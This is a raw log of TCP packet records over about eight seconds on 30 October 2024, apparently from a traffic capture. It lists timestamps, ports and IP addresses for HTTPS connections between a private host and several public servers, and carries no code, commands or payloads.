Oct 30, 2024 16:25:24.957277060 CET	443	49713	35.190.80.1	192.168.2.16
Oct 30, 2024 16:25:24.957382917 CET	49713	443	192.168.2.16	35.190.80.1
Oct 30, 2024 16:25:24.957391024 CET	443	49713	35.190.80.1	192.168.2.16
Oct 30, 2024 16:25:25.007802963 CET	49713	443	192.168.2.16	35.190.80.1
Oct 30, 2024 16:25:25.012733936 CET	443	49712	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:25.012818098 CET	443	49712	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:25.012865067 CET	443	49712	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:25.012876034 CET	49712	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:25.012887001 CET	443	49712	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:25.012922049 CET	443	49712	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:25.012955904 CET	443	49712	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:25.012986898 CET	443	49712	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:25.012989998 CET	49712	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:25.013001919 CET	443	49712	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:25.013053894 CET	49712	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:25.013062954 CET	49712	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:25.014586926 CET	443	49712	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:25.014714003 CET	443	49712	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:25.014745951 CET	443	49712	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:25.014761925 CET	49712	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:25.014766932 CET	443	49712	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:25.014808893 CET	49712	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:25.014812946 CET	443	49712	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:25.015747070 CET	443	49712	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:25.015814066 CET	49712	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:25.015819073 CET	443	49712	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:25.016154051 CET	443	49712	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:25.016205072 CET	443	49712	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:25.016211033 CET	49712	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:25.016216040 CET	443	49712	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:25.016258001 CET	49712	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:25.016603947 CET	443	49712	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:25.018481970 CET	443	49712	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:25.018542051 CET	49712	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:25.018547058 CET	443	49712	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:25.031537056 CET	443	49711	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:25.031618118 CET	443	49711	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:25.031657934 CET	49711	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:25.031666994 CET	443	49711	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:25.031682968 CET	443	49711	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:25.031702995 CET	49711	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:25.031723022 CET	49711	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:25.031887054 CET	443	49711	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:25.031944036 CET	443	49711	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:25.031972885 CET	49711	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:25.031994104 CET	443	49711	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:25.032040119 CET	49711	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:25.032463074 CET	443	49711	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:25.032519102 CET	443	49711	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:25.032530069 CET	49711	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:25.032566071 CET	443	49711	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:25.032598019 CET	49711	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:25.032620907 CET	443	49711	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:25.032704115 CET	49711	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:25.032704115 CET	49711	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:25.067806005 CET	49712	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:25.100734949 CET	443	49713	35.190.80.1	192.168.2.16
Oct 30, 2024 16:25:25.101185083 CET	49713	443	192.168.2.16	35.190.80.1
Oct 30, 2024 16:25:25.101232052 CET	443	49713	35.190.80.1	192.168.2.16
Oct 30, 2024 16:25:25.101305008 CET	49713	443	192.168.2.16	35.190.80.1
Oct 30, 2024 16:25:25.101819038 CET	49715	443	192.168.2.16	35.190.80.1
Oct 30, 2024 16:25:25.101855040 CET	443	49715	35.190.80.1	192.168.2.16
Oct 30, 2024 16:25:25.101936102 CET	49715	443	192.168.2.16	35.190.80.1
Oct 30, 2024 16:25:25.102193117 CET	49715	443	192.168.2.16	35.190.80.1
Oct 30, 2024 16:25:25.102210045 CET	443	49715	35.190.80.1	192.168.2.16
Oct 30, 2024 16:25:25.131383896 CET	443	49712	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:25.131477118 CET	443	49712	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:25.131514072 CET	443	49712	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:25.131536961 CET	49712	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:25.131545067 CET	443	49712	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:25.131597996 CET	443	49712	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:25.131611109 CET	443	49712	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:25.131614923 CET	49712	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:25.131619930 CET	443	49712	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:25.131656885 CET	49712	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:25.131824970 CET	443	49712	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:25.131874084 CET	443	49712	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:25.131882906 CET	49712	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:25.131887913 CET	443	49712	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:25.131932974 CET	49712	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:25.132160902 CET	443	49712	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:25.132230997 CET	49712	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:25.132237911 CET	443	49712	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:25.132318974 CET	49712	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:25.133354902 CET	443	49712	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:25.133497000 CET	443	49712	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:25.133543968 CET	49712	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:25.133548975 CET	443	49712	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:25.133600950 CET	49712	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:25.133755922 CET	443	49712	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:25.133829117 CET	49712	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:25.133878946 CET	443	49712	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:25.133932114 CET	49712	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:25.134340048 CET	443	49712	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:25.134397030 CET	49712	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:25.134571075 CET	443	49712	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:25.134629011 CET	49712	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:25.134639025 CET	443	49712	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:25.134685040 CET	49712	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:25.136926889 CET	443	49712	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:25.136961937 CET	443	49712	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:25.137002945 CET	49712	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:25.137008905 CET	443	49712	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:25.137017965 CET	49712	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:25.178819895 CET	49712	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:25.209841013 CET	49673	443	192.168.2.16	204.79.197.203
Oct 30, 2024 16:25:25.250366926 CET	443	49712	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:25.250432014 CET	443	49712	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:25.250469923 CET	49712	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:25.250488997 CET	443	49712	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:25.250502110 CET	443	49712	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:25.250518084 CET	49712	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:25.250540018 CET	443	49712	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:25.250549078 CET	49712	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:25.250554085 CET	443	49712	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:25.250591993 CET	49712	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:25.250617027 CET	443	49712	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:25.250617981 CET	49712	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:25.250627041 CET	443	49712	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:25.250669956 CET	49712	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:25.250818968 CET	443	49712	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:25.250876904 CET	49712	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:25.250890017 CET	443	49712	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:25.250941038 CET	49712	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:25.250957966 CET	443	49712	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:25.251008034 CET	49712	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:25.251198053 CET	443	49712	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:25.251259089 CET	49712	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:25.251277924 CET	443	49712	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:25.251339912 CET	49712	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:25.251385927 CET	443	49712	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:25.251445055 CET	49712	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:25.252321005 CET	443	49712	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:25.252372026 CET	443	49712	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:25.252392054 CET	49712	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:25.252399921 CET	443	49712	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:25.252464056 CET	49712	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:25.252466917 CET	443	49712	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:25.252516031 CET	49712	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:25.252576113 CET	49712	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:25.252592087 CET	443	49712	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:25.252604961 CET	49712	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:25.252640963 CET	49712	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:25.255414009 CET	49718	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:25.255502939 CET	443	49718	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:25.255610943 CET	49718	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:25.255834103 CET	49718	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:25.255872011 CET	443	49718	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:25.334861040 CET	49711	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:25.334906101 CET	443	49711	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:25.711694956 CET	443	49715	35.190.80.1	192.168.2.16
Oct 30, 2024 16:25:25.711986065 CET	49715	443	192.168.2.16	35.190.80.1
Oct 30, 2024 16:25:25.712002039 CET	443	49715	35.190.80.1	192.168.2.16
Oct 30, 2024 16:25:25.713794947 CET	443	49715	35.190.80.1	192.168.2.16
Oct 30, 2024 16:25:25.713886023 CET	49715	443	192.168.2.16	35.190.80.1
Oct 30, 2024 16:25:25.714268923 CET	49715	443	192.168.2.16	35.190.80.1
Oct 30, 2024 16:25:25.714415073 CET	49715	443	192.168.2.16	35.190.80.1
Oct 30, 2024 16:25:25.714418888 CET	443	49715	35.190.80.1	192.168.2.16
Oct 30, 2024 16:25:25.755333900 CET	443	49715	35.190.80.1	192.168.2.16
Oct 30, 2024 16:25:25.764826059 CET	49715	443	192.168.2.16	35.190.80.1
Oct 30, 2024 16:25:25.764832020 CET	443	49715	35.190.80.1	192.168.2.16
Oct 30, 2024 16:25:25.812819004 CET	49715	443	192.168.2.16	35.190.80.1
Oct 30, 2024 16:25:25.858535051 CET	443	49715	35.190.80.1	192.168.2.16
Oct 30, 2024 16:25:25.858900070 CET	49715	443	192.168.2.16	35.190.80.1
Oct 30, 2024 16:25:25.859045982 CET	443	49715	35.190.80.1	192.168.2.16
Oct 30, 2024 16:25:25.859124899 CET	49715	443	192.168.2.16	35.190.80.1
Oct 30, 2024 16:25:25.862153053 CET	443	49718	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:25.862405062 CET	49718	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:25.862432957 CET	443	49718	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:25.862867117 CET	443	49718	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:25.863182068 CET	49718	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:25.863257885 CET	443	49718	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:25.863325119 CET	49718	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:25.907330036 CET	443	49718	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:25.965054989 CET	49719	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:25.965097904 CET	443	49719	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:25.965197086 CET	49719	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:25.965420961 CET	49719	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:25.965435028 CET	443	49719	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:26.001547098 CET	443	49718	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:26.001633883 CET	443	49718	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:26.001688004 CET	49718	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:26.002103090 CET	49718	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:26.002120972 CET	443	49718	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:26.590362072 CET	443	49719	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:26.590655088 CET	49719	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:26.590670109 CET	443	49719	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:26.591286898 CET	443	49719	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:26.591587067 CET	49719	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:26.591752052 CET	49719	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:26.591758013 CET	443	49719	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:26.591779947 CET	443	49719	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:26.635827065 CET	49719	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:26.742861986 CET	443	49719	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:26.742937088 CET	443	49719	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:26.743019104 CET	49719	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:26.748982906 CET	49719	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:26.749005079 CET	443	49719	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:26.768677950 CET	49720	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:26.768737078 CET	443	49720	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:26.768870115 CET	49720	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:26.770668983 CET	49720	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:26.770689964 CET	443	49720	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:26.773258924 CET	49721	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:26.773289919 CET	443	49721	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:26.773376942 CET	49721	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:26.773571014 CET	49721	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:26.773585081 CET	443	49721	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:27.373723984 CET	443	49721	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:27.374180079 CET	49721	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:27.374196053 CET	443	49721	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:27.374648094 CET	443	49721	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:27.374963045 CET	49721	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:27.375034094 CET	443	49721	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:27.375103951 CET	49721	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:27.386077881 CET	443	49720	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:27.388071060 CET	49720	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:27.388101101 CET	443	49720	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:27.388446093 CET	443	49720	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:27.388756037 CET	49720	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:27.388813972 CET	443	49720	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:27.388885975 CET	49720	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:27.419357061 CET	443	49721	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:27.435323954 CET	443	49720	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:27.515820026 CET	443	49721	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:27.515940905 CET	443	49721	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:27.517251015 CET	49721	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:27.517489910 CET	49721	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:27.517512083 CET	443	49721	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:27.529879093 CET	443	49720	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:27.529962063 CET	443	49720	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:27.530034065 CET	443	49720	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:27.530076027 CET	49720	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:27.530127048 CET	49720	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:27.530533075 CET	49720	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:27.530548096 CET	443	49720	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:27.619848013 CET	49673	443	192.168.2.16	204.79.197.203
Oct 30, 2024 16:25:27.627334118 CET	49724	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:27.627377987 CET	443	49724	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:27.627615929 CET	49724	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:27.627769947 CET	49724	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:27.627783060 CET	443	49724	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:27.688822031 CET	49690	80	192.168.2.16	192.229.211.108
Oct 30, 2024 16:25:28.247900009 CET	443	49724	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:28.248266935 CET	49724	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:28.248282909 CET	443	49724	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:28.248620987 CET	443	49724	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:28.249176979 CET	49724	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:28.249253988 CET	443	49724	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:28.249351978 CET	49724	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:28.249461889 CET	49724	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:28.249495983 CET	443	49724	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:28.249622107 CET	49724	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:28.249660969 CET	443	49724	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:28.572228909 CET	443	49724	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:28.572278023 CET	443	49724	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:28.572343111 CET	49724	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:28.572357893 CET	443	49724	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:28.572513103 CET	443	49724	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:28.572623968 CET	443	49724	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:28.572650909 CET	49724	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:28.572654963 CET	443	49724	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:28.572666883 CET	443	49724	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:28.572721004 CET	443	49724	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:28.572730064 CET	49724	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:28.572779894 CET	49724	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:28.572788000 CET	443	49724	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:28.573574066 CET	443	49724	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:28.573636055 CET	49724	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:28.573643923 CET	443	49724	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:28.621815920 CET	49724	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:28.690727949 CET	443	49724	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:28.690920115 CET	443	49724	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:28.690999985 CET	49724	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:28.691011906 CET	443	49724	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:28.691041946 CET	443	49724	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:28.691117048 CET	49724	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:28.691282034 CET	443	49724	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:28.691716909 CET	443	49724	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:28.691771030 CET	49724	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:28.691780090 CET	443	49724	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:28.692054987 CET	443	49724	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:28.692130089 CET	49724	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:28.692136049 CET	443	49724	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:28.692384958 CET	443	49724	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:28.692445993 CET	49724	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:28.692584038 CET	49724	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:28.692605972 CET	443	49724	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:28.695647001 CET	49726	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:28.695698023 CET	443	49726	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:28.695765018 CET	49726	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:28.696084023 CET	49726	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:28.696099997 CET	443	49726	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:29.385145903 CET	49727	443	192.168.2.16	184.28.90.27
Oct 30, 2024 16:25:29.385194063 CET	443	49727	184.28.90.27	192.168.2.16
Oct 30, 2024 16:25:29.385279894 CET	49727	443	192.168.2.16	184.28.90.27
Oct 30, 2024 16:25:29.387011051 CET	49727	443	192.168.2.16	184.28.90.27
Oct 30, 2024 16:25:29.387031078 CET	443	49727	184.28.90.27	192.168.2.16
Oct 30, 2024 16:25:29.691469908 CET	443	49726	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:29.691817999 CET	49726	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:29.691854954 CET	443	49726	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:29.692313910 CET	443	49726	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:29.692675114 CET	49726	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:29.692760944 CET	443	49726	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:29.692862988 CET	49726	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:29.735333920 CET	443	49726	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:29.837996006 CET	443	49726	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:29.838103056 CET	443	49726	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:29.838164091 CET	49726	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:29.839119911 CET	49726	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:29.839153051 CET	443	49726	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:30.190742970 CET	49728	443	192.168.2.16	20.109.210.53
Oct 30, 2024 16:25:30.190793037 CET	443	49728	20.109.210.53	192.168.2.16
Oct 30, 2024 16:25:30.190871000 CET	49728	443	192.168.2.16	20.109.210.53
Oct 30, 2024 16:25:30.192266941 CET	49728	443	192.168.2.16	20.109.210.53
Oct 30, 2024 16:25:30.192289114 CET	443	49728	20.109.210.53	192.168.2.16
Oct 30, 2024 16:25:30.225897074 CET	443	49727	184.28.90.27	192.168.2.16
Oct 30, 2024 16:25:30.225980997 CET	49727	443	192.168.2.16	184.28.90.27
Oct 30, 2024 16:25:30.230448008 CET	49727	443	192.168.2.16	184.28.90.27
Oct 30, 2024 16:25:30.230464935 CET	443	49727	184.28.90.27	192.168.2.16
Oct 30, 2024 16:25:30.230722904 CET	443	49727	184.28.90.27	192.168.2.16
Oct 30, 2024 16:25:30.272810936 CET	49727	443	192.168.2.16	184.28.90.27
Oct 30, 2024 16:25:30.275846958 CET	49727	443	192.168.2.16	184.28.90.27
Oct 30, 2024 16:25:30.319338083 CET	443	49727	184.28.90.27	192.168.2.16
Oct 30, 2024 16:25:30.516592026 CET	443	49727	184.28.90.27	192.168.2.16
Oct 30, 2024 16:25:30.516818047 CET	443	49727	184.28.90.27	192.168.2.16
Oct 30, 2024 16:25:30.516876936 CET	49727	443	192.168.2.16	184.28.90.27
Oct 30, 2024 16:25:30.517520905 CET	49727	443	192.168.2.16	184.28.90.27
Oct 30, 2024 16:25:30.517548084 CET	443	49727	184.28.90.27	192.168.2.16
Oct 30, 2024 16:25:30.517560959 CET	49727	443	192.168.2.16	184.28.90.27
Oct 30, 2024 16:25:30.517566919 CET	443	49727	184.28.90.27	192.168.2.16
Oct 30, 2024 16:25:30.546295881 CET	49729	443	192.168.2.16	184.28.90.27
Oct 30, 2024 16:25:30.546343088 CET	443	49729	184.28.90.27	192.168.2.16
Oct 30, 2024 16:25:30.546411991 CET	49729	443	192.168.2.16	184.28.90.27
Oct 30, 2024 16:25:30.546672106 CET	49729	443	192.168.2.16	184.28.90.27
Oct 30, 2024 16:25:30.546685934 CET	443	49729	184.28.90.27	192.168.2.16
Oct 30, 2024 16:25:31.277224064 CET	49678	443	192.168.2.16	20.189.173.10
Oct 30, 2024 16:25:31.580888987 CET	49678	443	192.168.2.16	20.189.173.10
Oct 30, 2024 16:25:32.187845945 CET	49678	443	192.168.2.16	20.189.173.10
Oct 30, 2024 16:25:32.427000046 CET	49673	443	192.168.2.16	204.79.197.203
